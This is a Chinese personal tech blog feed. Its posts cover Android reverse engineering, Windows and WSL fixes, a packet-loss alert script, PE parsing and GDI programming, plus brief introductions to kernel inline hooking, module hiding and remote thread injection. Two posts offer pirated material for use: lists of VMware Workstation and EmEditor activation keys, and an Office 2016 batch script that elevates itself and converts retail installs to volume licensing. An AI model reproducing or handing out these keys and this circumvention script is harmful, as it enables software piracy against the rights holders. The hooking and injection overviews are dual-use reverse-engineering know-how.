等进度条走完就装好了

3. 配置

这里要导入配置毛线的配置直接点ok

开始配置

这里选默认,因为简单自定义又不会

我喜欢暗黑色

选择finish 等安装完毕

Android逆向 JNI静态注册

luodaoyi@gmail.com (luodaoyi) — Fri, 24 Apr 2020 09:06:05 +0000

Android逆向 JNI静态注册

1. 新建空白Android项目

打开 ADT 新建Android空白项目全部默认下一步

2. 新增jni代码

使用jni写的需要用native修饰

3. 生成头文件

首先在ADT中新建 jni文件夹

右击src文件夹选择 Properties 查看文件夹路径
这里为 C:\Users\asura\source\repos\Android_JNI\02_JNI_register\Jnidemo\src

Android逆向使用NDK编译c语言可执行程序

luodaoyi@gmail.com (luodaoyi) — Fri, 24 Apr 2020 08:31:28 +0000

使用ndk构建c语言可执行程序

1. 新建代码文件

hello.c

1
2
3
4
5
6
7


#include <stdio.h>

int main()
{
 printf("hello android JNI!");
 return 0;
}

2. 新建android编译make文件

Android.mk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


LOCAL_PATH := $(call my-dir) # 获取jni文件路径
include $(CLEAR_VARS) # 因为是全局变量 所以要清理设置
LOCAL_CFLAGS += -std=c99 #使用c语言c99规范
LOCAL_CFLAGS += -pie -fPIE #相当于在源文件中增加宏定义，安卓5.0以上需要添加,否则编译出来无法使用
LOCAL_LDFLAGS += -pie -fPIE #相当于在源文件中增加宏定义，安卓5.0以上需要添加,否则编译出来无法使用
LOCAL_ARM_MODE := arm # 编译后的指令集
LOCAL_MODULE := hello # 编译后的名字 唯一且不可以包含空格 不是so就不会加.so so模块=> libbuild.so
LOCAL_SRC_FILES := hello.c # 指定源文件
include $(BUILD_EXECUTABLE) # 指定为构建可执行文件 
 # 如果是SO库为: $(shared library) 
 # 如果是静态库为: $(static library)

Application.mk文件

通过SNI Proxy加速国内服务器的WordPress更新

luodaoyi@gmail.com (luodaoyi) — Thu, 02 Apr 2020 08:05:47 +0000

相信很多在国内服务器搭建WordPress的同学都有过这样的烦恼：更新不成功，后台某些页面打卡非常慢，插件主题没法在线安装等等等等这些问题，而且如果你的服务器又因为某些因素不方便直接搭建$$r之类的软件来给它加速，每次手动下载安装包再上传安装会是一件非常头疼的事。

解决windows 无法访问指定设备、路径或文件。你可能没有适当的权限访问该项目。

luodaoyi@gmail.com (luodaoyi) — Wed, 01 Apr 2020 18:46:14 +0000

文件权限出现了问题

下面是一些可用的命令行帮助恢复

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 取得目录和内容的所有权 可以将其范围缩小到要更改的特定项，具体取决于有多少项。
takeown /f C:\Windows\Web /r

# 授予自己完全的控制权 注意 %USERDOMAIN%\%USERNAME% 将自动替换为您的用户-所以这里无需在此替换任何内容
icacls C:\Windows\Web /grant "%USERDOMAIN%\%USERNAME%":(F) /t

# 恢复windows10默认的所有者
icacls c:\Windows\Web /setowner "NT SERVICE\TrustedInstaller" /t

# 删除授予的权限
icacls C:\Windows\Web /remove:g "%USERDOMAIN%\%USERNAME%":(F) /t

一种替代方法是保存和恢复ACL

解决WSL与windows的PATH环境变量冲突问题

luodaoyi@gmail.com (luodaoyi) — Sat, 21 Mar 2020 04:25:15 +0000

如果在windows和wsl中都安装了python, 那么由于wsl的互交互特性, pienv的运行就会不太正常

以下是禁用互交互的步骤

在WSL的终端中输入:

1

echo "[interop]\nenabled=false\nappendWindowsPath=false" | sudo tee /etc/wsl.conf

在Powershell(以管理员身份运行)中输入: (以重启wsl)

1
2


net stop LxssManager
net start LxssManager

如果已知distro名, 可用wsl --terminate <distro名>终止特定的wsl distro

Android逆向-2 dalvik 指令集1

luodaoyi@gmail.com (luodaoyi) — Thu, 12 Mar 2020 17:38:06 +0000

dalvik 指令集 1

dalvik 指令格式

1

基础字节码-名称后缀/字节码后缀 目的寄存器 源寄存器

说明:
名称后缀: wide 表示数据宽度位 64位
字节码后缀 : from16 表示的就是源寄存器为16位

例子:

1
2
3
4
5
6
7


move-wide/from16 vAA, vBBBB

move 为基础字节码,即 opcode
wide 为名称后缀 , 标识指令操作的数据宽度为64位
from16 字节码后缀 , 标识源为一个16位的寄存器引用变量
vAA 目的寄存器 它始终在源的前面 //0xAA 8位 取值范围: v0~v255
vBBBB 源寄存器 //0xBBBB 16位 取值范围: v0~v65535

dalvik指令集中大多数指令用到了寄存器作为目的操作数或源操作数,其中 A/B/C/D/E/F/G/H 代表一个4位的数值, AA/BB/…/HH 代表一个8位的数值, AAAA/BBBB/…/HHHH 代表一个16位的数值

Android逆向-1 dalvik字节码

luodaoyi@gmail.com (luodaoyi) — Thu, 12 Mar 2020 09:28:49 +0000

1 .dalvik字节码

1 dalvik寄存器:

32位: 所有寄存器
64位: 使用两个相邻的寄存器

2 寄存器的命名法:

v : 局部变量寄存器 v0-vn 参数寄存器: vn-vn+m
p : 参数寄存器 p0-pn 变量寄存器 v0-vn

第一种

第二种

3 dex文件反汇编工具

.java编译成.class 再编译成 <code>.dex 最后编译得到 smali文件

Emeditor可以用的激活码

luodaoyi@gmail.com (luodaoyi) — Fri, 26 Jul 2019 09:06:59 +0000

Emeditor激活码

找来找去找不到可以用的
今天在网上找到一个

DMAZM-WHY52-AX222-ZQJXN-79JXH

Version 18.9.12
使用正常!

VMware Workstation 各系列激活码大全

luodaoyi@gmail.com (luodaoyi) — Wed, 26 Dec 2018 13:53:54 +0000

VMware Workstation Pro 16 激活许可证

ZF3R0-FHED2-M80TY-8QYGC-NPKYF
YF390-0HF8P-M81RQ-2DXQE-M2UT6
ZF71R-DMX85-08DQY-8YMNC-PPHV8

VMware Workstation Pro 15 激活码

UY758-0RXEQ-M81WP-8ZM7Z-Y3HDA
VF750-4MX5Q-488DQ-9WZE9-ZY2D6
UU54R-FVD91-488PP-7NNGC-ZFAX6
YC74H-FGF92-081VZ-R5QNG-P6RY4
YC34H-6WWDK-085MQ-JYPNX-NZRA2

VMware Workstation Pro 14 激活码

FF31K-AHZD1-H8ETZ-8WWEZ-WUUVA
CV7T2-6WY5Q-48EWP-ZXY7X-QGUWD

VMware Workstation Pro 12 激活码

5A02H-AU243-TZJ49-GTC7K-3C61N
VF5XA-FNDDJ-085GZ-4NXZ9-N20E6
UC5MR-8NE16-H81WY-R7QGV-QG2D8
ZG1WH-ATY96-H80QP-X7PEX-Y30V4
AA3E0-0VDE1-0893Z-KGZ59-QGAVF

VMware Workstation Pro 10 激活码

1Z0G9-67285-FZG78-ZL3Q2-234JG
4C4EK-89KDL-5ZFP9-1LA5P-2A0J0
HY086-4T01N-CZ3U0-CV0QM-13DNU

利用shell脚本检测网络状况实现电话或短信报警

luodaoyi@gmail.com (luodaoyi) — Tue, 25 Dec 2018 15:27:36 +0000

腾讯云有语音接口可以实现任务内容通知

https://console.cloud.tencent.com/sms

脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90


#!/usr/bin/env bash

# /root/check/check.sh 脚本存放位置
# */5 * * * * /bin/bash /root/check/check.sh > /dev/null cron命令

# 日志路径
LOGFILE=/root/check/check_ip.log

# 腾讯云语音appid
SDKAPPID="12345678"
# appkey
strAppKey="abcdefg"
# 语音模板
VOICE_TMP_ID=123456
# 通知的手机号
ALERT_PHONE=18888888888
# ping丢包触发百分比
GE_RATE=20

# 第一个参数为ping测试的ip
# 第二个参数为丢包率
# 第三个参数为通知的手机号
call_phone()
{
 # 模板: 接口{1}丢包率为{2}，请在5分钟内处理！
 strMobile=$3
 strRand=$RANDOM
 strTime=$(date +%s)
 strSig="appkey=${strAppKey}&random=${strRand}&time=${strTime}&mobile=${strMobile}"
 sig=$(echo -n ${strSig} | sha256sum | cut -d " " -f 1)

 api_url="https://cloud.tim.qq.com/v5/tlsvoicesvr/sendtvoice?sdkappid=${SDKAPPID}&random=${strRand}"

 response=$(curl "${api_url}" \
 -H "Accept: application/json" \
 -H "Content-Type:application/json" \
 --data @<(cat <<EOF
{
 "tpl_id": ${VOICE_TMP_ID},
 "params": ["$1","$2"],
 "playtimes": 3,
 "sig": "${sig}",
 "tel": {
 "mobile": "${strMobile}",
 "nationcode": "86"
 },
 "time": ${strTime}
}
EOF
))
 echo ${response} >> ${LOGFILE}
}

# 第一个参数为 ping的ip
# 第二个参数为 失败切换的网卡名字
do_check()
{
 ip=$1 
 change_dev=$2
 date="`date "+%Y-%m-%d %H:%M:%S"`"
 lost_rate=`ping -c 8 -w 8 $ip | grep "packet loss" \
 | awk -F"packet loss" "{ print $1 }" \
 | awk "{ print $NF }" | sed "s/%//g"`

 if [ ${lost_rate} -eq 0 ] # 等于0
 then
 echo "network_ok 【${ip}】 【${date}】 " >> ${LOGFILE}
 elif [ ${lost_rate} -ge ${GE_RATE} ] # 大于等于10
 then
 echo "network_error loss 【${lost_rate}】 【${date}】 【${ip}"】 >> ${LOGFILE}
 # ip route change ${ip} dev ${change_dev}
 call_phone ${ip} ${lost_rate} ${ALERT_PHONE}
 else
 echo "network_check loss 【${lost_rate}】 【${date}】 【${ip}】 " >> ${LOGFILE}
 fi

}

IP_ARRAY[0]="10.3.3.2"
#IP_ARRAY[1]="10.3.3.2"

CHANGE_ARRAY[0]="wg1"
#CHANGE_ARRAY[1]="wg2"

for i in "${!IP_ARRAY[@]}"; do 
 check_ip=${IP_ARRAY[$i]}
 change_dev=${CHANGE_ARRAY[$i]}
 echo "check ip ${check_ip} change_dev ${change_dev}" >> ${LOGFILE}
 do_check ${check_ip} ${change_dev}
done

2019年1月7日更新增加多用户报警

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95


#!/usr/bin/env bash

# /root/check/check.sh
# */5 * * * * /bin/bash /root/check/check.sh >> /dev/null

LOGFILE=/root/check/check_ip.log

# 腾讯云语音appid
SDKAPPID="12345678"
# appkey
strAppKey="abcdefghdawdawd"
# 语音模板
VOICE_TMP_ID=66666
# 通知的手机号
ALERT_PHONE[0]=16688868686
ALERT_PHONE[1]=13333333333
# 触发阈值 大于这个就会打电话报警
GE_RATE=5

# 第一个参数为模板的第一个参数 这里是网卡名称或者服务器所在地区
# 第二个参数为丢包率
# 第三个参数为通知的手机号
call_phone()
{
 # call_message="专线接口$1丢包率百分之$2"
 strMobile=$3
 strRand=$RANDOM
 strTime=$(date +%s)
 strSig="appkey=${strAppKey}&random=${strRand}&time=${strTime}&mobile=${strMobile}"
 sig=$(echo -n ${strSig} | sha256sum | cut -d " " -f 1)

 api_url="https://cloud.tim.qq.com/v5/tlsvoicesvr/sendtvoice?sdkappid=${SDKAPPID}&random=${strRand}"

 response=$(curl "${api_url}" \
 -H "Accept: application/json" \
 -H "Content-Type:application/json" \
 --data @<(cat <<EOF
{
 "tpl_id": ${VOICE_TMP_ID},
 "params": ["$1","$2"],
 "playtimes": 3,
 "sig": "${sig}",
 "tel": {
 "mobile": "${strMobile}",
 "nationcode": "86"
 },
 "time": ${strTime}
}
EOF
))
 echo ${response} >> ${LOGFILE}
}

# 第一个参数为 ping的ip
# 第二个参数为 失败切换的网卡名字
do_check()
{
 ip=$1
 change_dev=$2
 date="`date "+%Y-%m-%d %H:%M:%S"`"
 lost_rate=`ping -c 100 -w 100 $ip | grep "packet loss" \
 | awk -F"packet loss" "{ print $1 }" \
 | awk "{ print $NF }" | sed "s/%//g"`

 if [ ${lost_rate} -eq 0 ] # 等于0
 then
 echo "network_ok 【${ip}】 【${date}】 " >> ${LOGFILE}
 elif [ ${lost_rate} -ge ${GE_RATE} ] # 大于等于10
 then
 echo "network_error loss 【${lost_rate}】 【${date}】 【${ip}"】 >> ${LOGFILE}
 # ip route change ${ip} dev ${change_dev}
 for index in "${!ALERT_PHONE[@]}"; do
 alert_phone_index=${ALERT_PHONE[$index]}
 call_phone ${change_dev} ${lost_rate} ${alert_phone_index}
 done
 else
 echo "network_check loss 【${lost_rate}】 【${date}】 【${ip}】 " >> ${LOGFILE}
 fi

}

#ping的网管
IP_ARRAY[0]="10.200.200.101"
#IP_ARRAY[1]="10.3.3.2"

#网关的名字
CHANGE_ARRAY[0]="上海端"
#CHANGE_ARRAY[1]="wg2"

for i in "${!IP_ARRAY[@]}"; do
 check_ip=${IP_ARRAY[$i]}
 change_dev=${CHANGE_ARRAY[$i]}
 #echo "check ip ${check_ip} change_dev ${change_dev}" >> ${LOGFILE}
 do_check ${check_ip} ${change_dev}
done

KiFastCallEntry Hook (利用栈回溯技术)

luodaoyi@gmail.com (luodaoyi) — Sat, 17 Nov 2018 17:22:14 +0000

利用栈回溯技术,定位 KiFastCallEntry API 地址空间,搜索特征码后进行inline hook,KiFastCallEntry 是大多数 ring3 到 ring0 API调用必经之路, 所以 hook之后可以监视很多程序行为.

基于一个前提:

KiFastCallEntry 函数作用是：初始化 kernel stack , 根据 ring3 下 API外壳传来的系统功能号, 然后转入执行.

程序流程:

HOOK SSDT中一个较常用函数调用,
在接管函数中利用栈回溯技术获取KiFastCallEntry的获取([EBP+4] )
从获取的返回地址出发,向前搜索特征值 (sub esp,ecx shr ecx,2)的机器码 ,这里刚好是已经获取了原始函数地址后的下一段指令
覆盖 5字节数据 ,即用 JMP offset addr 来替换
转如hook接管函数 ,从这里就可以干些其他事情 ,比如获取函数参数什么的,判断调用者etc…
在驱动卸载函数中完成恢复hook点

// kifast.h

开启markdown格式写作

luodaoyi@gmail.com (luodaoyi) — Tue, 13 Nov 2018 13:21:34 +0000

开启markdown格式写作

终于支持markdown 写作了好爽啊

二级标题

爽歪歪

硬编码-什么是硬编码

luodaoyi@gmail.com (luodaoyi) — Mon, 29 Oct 2018 14:38:26 +0000

二进制编辑工具打开exe

图中可以看出程序都是由二进制数据组成

无论多么复杂的程序都只包含两部分，数据和指令。数据和指令的划分并没有明显的界限。具体取决于EIP 指令是有自己的格式。

CPU相关的指令: x86 x64 arm

硬编码就是指令集的指令

VMP3.2授权分析

luodaoyi@gmail.com (luodaoyi) — Mon, 29 Oct 2018 02:45:00 +0000

X86 汇编：真的是“恐怖”的存在吗？

luodaoyi@gmail.com (luodaoyi) — Mon, 29 Oct 2018 02:32:35 +0000

PE文件解析入门篇

luodaoyi@gmail.com (luodaoyi) — Mon, 29 Oct 2018 02:32:29 +0000

前言 - PE文件解析系列文章的第二篇，上一篇参考：PE文件解析基础篇

介绍区块头表和区块
解析出区段表完成RVA转FOA的功能
解析出数据目录表各种表的位置和大小
源码放在附件

1.区块头表 - pe文件头与原始数据之间存在一个区块表，区块表包含了每个块在映像(内存)中的信息，分别指向不同的区块实体。

PE文件解析基础篇

luodaoyi@gmail.com (luodaoyi) — Mon, 29 Oct 2018 02:32:22 +0000

前言 - 之前学习了PE格式，为了更好的理解，决定写一个类似LoadPE的小工具。

编译器是VS2015，采用MFC框架。
此系列文章采用边介绍知识点，边写代码的形式，以免变的无聊丧失兴趣。
PE知识请参照《加密与解密》第10章。

PE文件格式1. PE文件基本概念 - PE文件是windows系统中遵循PE结构的文件，比如以.exe .dll为后缀名的文件以及系统驱动文件。(PE结构框架看下图）

批量提取公众号文章的python脚本

luodaoyi@gmail.com (luodaoyi) — Tue, 25 Sep 2018 06:06:30 +0000

如何获取？http://xingyue.artizen.me

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


coding:utf-8
import json
import pprint

links_array = []
with open('msg.txt',encoding='utf-8') as file:
	for line in file:
		s = json.loads(line)
		[links_array.append(i['link']) for i in s['app_msg_list']]
		
with open('link.txt','w') as f :
	[f.write(l + '\n') for l in links_array]

C++ 标准库中缺少的字符串函数：`starts_with` 和 `ends_with`

luodaoyi@gmail.com (luodaoyi) — Mon, 17 Sep 2018 00:08:02 +0000

C++ 标准模板库的 std::string 很好很强大，但是并没有提供判断一个字符串是否以另一个字符串开始/结束的接口。这里为 std::basic_string<charT> 提供这两个接口。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


//string_predicate.hpp

#include <string>
namespace std {
template <typename charT>
inline bool starts_with(const basic_string<charT>& big, const basic_string<charT>& small) {
 if (&big == &small) return true;
 const typename basic_string<charT>::size_type big_size = big.size();
 const typename basic_string<charT>::size_type small_size = small.size();
 const bool valid_ = (big_size >= small_size);
 const bool starts_with_ = (big.compare(0, small_size, small) == 0);
 return valid_ and starts_with_;
}

template <typename charT>
inline bool ends_with(const basic_string<charT>& big, const basic_string<charT>& small) {
 if (&big == &small) return true;
 const typename basic_string<charT>::size_type big_size = big.size();
 const typename basic_string<charT>::size_type small_size = small.size();
 const bool valid_ = (big_size >= small_size);
 const bool ends_with_ = (big.compare(big_size - small_size, small_size, small) == 0);
 return valid_ and ends_with_;
}
} // namespace std

用法：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


#include <iostream>
#include <string>

#include "string_predicate.hpp"

int main() {
 std::string compared = "Hello world!";
 std::string start = "Hello";
 std::string end = "world!";

 std::cout << std::starts_with(compared, start) << std::endl;
 std::cout << std::ends_with(compared, end) << std::endl;

 std::wstring wcompared = L"你好世界";
 std::wstring wstart = L"你好";
 std::wstring wend = L"世界";

 std::cout << std::starts_with(wcompared, wstart) << std::endl;
 std::cout << std::ends_with(wcompared, wend) << std::endl;

 return 0;
}

结果：

Linux统计文件夹下的文件数目

luodaoyi@gmail.com (luodaoyi) — Thu, 13 Sep 2018 07:19:37 +0000

Linux下有三个命令：ls、grep、wc。通过这三个命令的组合可以统计目录下文件及文件夹的个数。

1

$ ls -l | grep "^-" | wc -l

1

$ ls -lR| grep "^-" | wc -l

查看某目录下文件夹(目录)的个数（包括子目录）

1

ls -lR | grep "^d" | wc -l

命令解析：

Linux 命令行下下载 Google Drive/Docs

luodaoyi@gmail.com (luodaoyi) — Thu, 13 Sep 2018 06:07:10 +0000

转载自 https://onebox.site/archives/250.html

说到如何在Linux命令行下下载Google网盘（云端硬盘）的文件，第一个想到的应该是gdrive（prasmussen/gdrive），这个脚本可以下载、上传、同步等功能，当然需要事先命令gdrive about关联网盘，显然适合自己使用。

ubuntu 搭建S3服务 mino单机和集群集群

luodaoyi@gmail.com (luodaoyi) — Fri, 15 Jun 2018 12:33:00 +0000

搭建mino 集群

单机版

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


# 新建用户
sudo useradd -r minio-user -s /sbin/nologin
sudo chown -R minio-user:minio-user /usr/local/bin/minio
sudo mkdir /usr/local/share/minio
sudo chown -R minio-user:minio-user /usr/local/share/minio
sudo mkdir /etc/minio
sudo chown -R minio-user:minio-user /etc/minio
# 记得替换 MINIO_VOLUMES
cat /etc/default/minio
# Local export path.
MINIO_VOLUMES=&quot;/tmp/minio/&quot;
# Use if you want to run Minio on a custom port.
MINIO_OPTS=&quot;--address :443&quot;
EOT
# 替换key
cat /etc/default/minio
# Access Key of the server.
MINIO_ACCESS_KEY=Server-Access-Key
# Secret key of the server.
MINIO_SECRET_KEY=Server-Secret-Key
EOT
# 下载安装service文件
( cd /etc/systemd/system/; curl -O https://raw.githubusercontent.com/minio/minio-service/master/linux-systemd/minio.service )
# 记得替换 /etc/systemd/system/minio.service
# 中user和group
# 重载配置
systemctl daemon-reload
# 开机启动
systemctl enable minio.service
systemctl disable minio.service

集群版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


# 新建用户
useradd minio-user -s /sbin/nologin
# 记得替换 MINIO_VOLUMES
$ cat /etc/default/minio
# Remote node configuration.
MINIO_VOLUMES=http://node1/export1 http://node2/export2 http://node3/export3 http://node4/export4
# Use if you want to run Minio on a custom port.
MINIO_OPTS=&quot;--address :9199&quot;
EOT
# 替换key
cat /etc/default/minio
# Access Key of the server.
MINIO_ACCESS_KEY=Server-Access-Key
# Secret key of the server.
MINIO_SECRET_KEY=Server-Secret-Key
EOT
# 下载安装service文件
( cd /etc/systemd/system/; curl -O https://raw.githubusercontent.com/minio/minio-service/master/linux-systemd/distributed/minio.service )
# 记得替换 /etc/systemd/system/minio.service
# 中user和group
# 重载配置
systemctl daemon-reload
# 开机启动
systemctl enable minio.service
systemctl disable minio.service
systemctl restart minio.service
# 查看日志
journalctl -u nginx.service -f 

配置ssl证书

/home/minio/.minio/certs

简单的GDI操作

luodaoyi@gmail.com (luodaoyi) — Tue, 29 May 2018 03:01:12 +0000

简单的GDI操作

窗口程序的本质 :GUI GDI

GDI: Graphics Device Interface,图形设备接口，这是Windows提供的一组用于绘制图像的API
GUI: Graphical User Interface,图形用户界面，是指用户操作软件的界面方式，以区别于字符方式

说白了 GDI是一套实打实的接口，真实存在 GUI只是一个概念

GDI 图像设备接口(Graphics Device Interface)

设备对象(HWND)
DC(设备上下文，Device Contexts)
图形对象

图形对象	作用
画笔(Pen)	影响线条，包括颜色、粗细、虚实、箭头形状等
画刷(Brushes)	影响对形状、区域等操作，如使用的颜色、是否有阴影等
字体(Fonts)	影响文字输出的字体
位图(Bitmaps)	影响位图创建、位图操作和保存等。

消息机制与模拟消息

luodaoyi@gmail.com (luodaoyi) — Tue, 29 May 2018 01:50:14 +0000

消息机制与模拟消息

消息机制

硬件产生事件
被操作系统捕获，封装成消息
操作系统发送到系统消息队列
再由操作系统由系统消息队列发送到对应的线程内核对象中的线程消息队列
线程消息队列处理完毕后，将时间送回操作系统
由操作系统调用窗口回调函数 => WindowProc()

线程消息队列处理

GetMessage() => 取出消息
DispathMessage() => 把消息再送回系统中系统中

在线程拿到消息之前，消息经过了两个队列

新建一个窗口程序

luodaoyi@gmail.com (luodaoyi) — Tue, 29 May 2018 01:10:08 +0000

新建一个窗口程序

消息机制

创建窗口的几个步骤

创建窗口类
注册窗口类
创建窗口
显示窗口
构建消息循环

创建过程

demo : https://github.com/luodaoyi/cpp_code/tree/master/MemoryInjectTool/CreateWindows

//1 创建窗口类型模板
 WNDCLASS wndclass = { 0 };
 wndclass.lpszClassName = className; //名字
 wndclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND; //背景画笔句柄
 wndclass.hInstance = hInstance; //窗口过程的实例句柄
 wndclass.lpfnWndProc = WndProc; //窗口过程函数
 //2 注册窗口
 RegisterClass(&wndclass);
 //3 创建窗口
 HWND hwindows = CreateWindow(className, TEXT("MYWINDOWS"), WS_OVERLAPPEDWINDOW, 500, 300, 300, 250, NULL, NULL, hInstance,NULL);
 //创建窗口
 HWND hsitc1 = CreateWindow(L"STATIC", TEXT("账号："), WS_CHILD | WS_VISIBLE, 10, 30, 50, 20, hwindows, HMENU(IDC_STATIC1), hInstance, NULL);
 HWND hstic2 = CreateWindow(L"STATIC", TEXT("密码"), WS_CHILD | WS_VISIBLE, 10, 80, 50, 20, hwindows, HMENU(IDC_STATIC2), hInstance, NULL);
 HWND hedit1 = CreateWindow(L"EDIT", NULL, WS_CHILD | WS_VISIBLE, 80, 30, 100, 20, hwindows, HMENU(IDC_EDIT1), hInstance, NULL);
 HWND hedit2 = CreateWindow(L"EDIT", NULL, WS_CHILD | WS_VISIBLE, 80, 80, 100, 20, hwindows, HMENU(IDC_EDIT2), hInstance, NULL);
 HWND hbutt1 = CreateWindow(L"BUTTON", TEXT("登录"), WS_CHILD | WS_VISIBLE, 50, 120, 50, 25, hwindows, HMENU(IDC_BUTTM1), hInstance, NULL);
 HWND hbutt2 = CreateWindow(L"BUTTON", TEXT("取消"), WS_CHILD | WS_VISIBLE, 110, 120, 50, 25, hwindows, HMENU(IDC_BUTTM2), hInstance, NULL);
 //4 显示窗口
 ShowWindow(hwindows,SW_SHOW);
 //5 构建消息循环
 MSG msg = { NULL };
 while (GetMessage(&msg,NULL,NULL,NULL))
 {
 TranslateMessage(&msg);
 DispatchMessage(&msg);
 }

office2016 visio2016 project2016零售版转换vol版bat

luodaoyi@gmail.com (luodaoyi) — Tue, 29 May 2018 00:53:24 +0000

在http://msdn.itellyou.cn/网站上下载的是office2016是零售版的，转换为vol，将下列文本另存为bat文件，运行即可

@ECHO OFF&PUSHD %~DP0
setlocal EnableDelayedExpansion&color 3e & cd /d "%~dp0"
title office2016 retail转换vol版
%1 %2
mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :runas","","runas",1)(window.close)&goto :eof
:runas
if exist "%ProgramFiles%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles%\Microsoft Office\Office16"
if exist "%ProgramFiles(x86)%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles(x86)%\Microsoft Office\Office16"
:WH
cls
echo.
echo 选择需要转化的office版本序号
echo.
echo --------------------------------------------------------------------------------
echo 1. 零售版 Office Pro Plus 2016 转化为VOL版
echo.
echo 2. 零售版 Office Visio Pro 2016 转化为VOL版
echo.
echo 3. 零售版 Office Project Pro 2016 转化为VOL版
echo.
echo. --------------------------------------------------------------------------------
set /p tsk="请输入需要转化的office版本序号【回车】确认（1-3）: "
if not defined tsk goto:err
if %tsk%==1 goto:1
if %tsk%==2 goto:2
if %tsk%==3 goto:3
:err
goto:WH
:1
cls
echo 正在重置Office2016零售激活...
cscript ospp.vbs /rearm
echo 正在安装 KMS 许可证...
for /f %%x in ("dir /b ..\root\Licenses16\proplusvl_kms*.xrm-ms") do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul
echo 正在安装 MAK 许可证...
for /f %%x in ("dir /b ..\root\Licenses16\proplusvl_mak*.xrm-ms") do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul
echo 正在安装 KMS 密钥...
cscript ospp.vbs /inpkey:XQNVK-8JYDB-WJ9W3-YJ8YR-WFG99
goto :e
:2
cls
echo 正在重置Visio2016零售激活...
cscript ospp.vbs /rearm
echo 正在安装 KMS 许可证...
for /f %%x in ("dir /b ..\root\Licenses16\visio???vl_kms*.xrm-ms") do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul
echo 正在安装 MAK 许可证...
for /f %%x in ("dir /b ..\root\Licenses16\visio???vl_mak*.xrm-ms") do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul
echo 正在安装 KMS 密钥...
cscript ospp.vbs /inpkey:PD3PC-RHNGV-FXJ29-8JK7D-RJRJK
goto :e
:3
cls
echo 正在重置Project2016零售激活...
cscript ospp.vbs /rearm
echo 正在安装 KMS 许可证...
for /f %%x in ("dir /b ..\root\Licenses16\project???vl_kms*.xrm-ms") do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul
echo 正在安装 MAK 许可证...
for /f %%x in ("dir /b ..\root\Licenses16\project???vl_mak*.xrm-ms") do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul
echo 正在安装 KMS 密钥...
cscript ospp.vbs /inpkey:YG9NW-3K39V-2T3HJ-93F3Q-G83KT
goto :e
:e
echo.
echo 转化完成，按任意键退出！
pause >nul
exit

模块隐藏

luodaoyi@gmail.com (luodaoyi) — Thu, 24 May 2018 01:02:11 +0000

模块隐藏

遍历模块

HANDLE WINAPI CreateToolhelp32Snapshot(
 DWORD dwFlags,
 DWORD th32ProcessID
)
//dwFlags:
TH32CS_SNAPMODULE 遍历模块

PEB

(Process Environment Block 进程环境块)
存放进程信息，每个进程都有自己的PEB信息

如何找到PEB

EPROCESS进程内核对象结构体中 0x1b0偏移的位置
TEB线程环境块的 0x30位置

（实际上32位程序中的PEB的位置是固定的）

文件系统

luodaoyi@gmail.com (luodaoyi) — Tue, 22 May 2018 21:53:57 +0000

文件系统

什么是文件系统

文件系统是操作系统用于管理磁盘上文件的方法和数据结构，简单说就是在磁盘上如何组织文件的方法，是软件层面的东西

windows上有哪几种文件系统

类型	NTFS	FAT32
磁盘分区容量	2T	512MB – 2TB (早先只有32GB)
单个文件容量	4GB以上	最大4GB
EFS加密	Y	N
磁盘配额	Y	N

如何操作文件系统

卷相关的API

API	功能
GetLogicalDrives( )	获取卷
GetLogicalDriveString()	获取所有卷盘符字符串
GetDriveType()	获取卷的类型
GetVolumeInformation ()	获取卷的信息

API	功能
CreateDirectory()	创建目录(文件夹)
RemoveDirectory()	删除目录(文件夹)
MoveFile()	移动文件(修改目录名称)
GetCurrentDirectory()	获取当前进程的目录
SetCurrentDirectory()	设置应用程序的当前目录

文件操作相关

API	功能
CreateFile()	创建/打开文件
CloseHandle()	关闭文件
GetFileSize()	获取文件大小
GetFileAttributes()	获取文件相关信息
ReadFile() / WriteFile() / CopyFile() / DeleteFile()	读写拷贝删除文件
FindFirstFile() / FindNextFile()	查找文件

远程线程注入

luodaoyi@gmail.com (luodaoyi) — Tue, 22 May 2018 21:53:12 +0000

远程线程注入

线程是什么

如果说进程是个大房子，那么线程是进程中干活的人

线程是进程的灵魂
使用进程提供的数据执行进程提供的代码
临时数据存储在计算机的寄存器中

创建线程

//在自己的进程中创建线程
CreateThread()
//在别人的进程中创建线程
HANDLE WINAPI CreateRemoteThread
（
 _In_ HANDLE hProcess， //目标进程句柄
 _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes，
 _In_ SIZE_T dwStackSize， //目标线程栈大小
 _In_ LPTHREAD_START_ROUTINE lpStartAddress，//目标线程地址
 _In_ LPVOID lpParameter， //目标线程参数
 _In_ DWORD dwCreationFlags，//创建标志位
 _Out_ LPDWORD lpThreadId //返回被创建线程的ID
）;

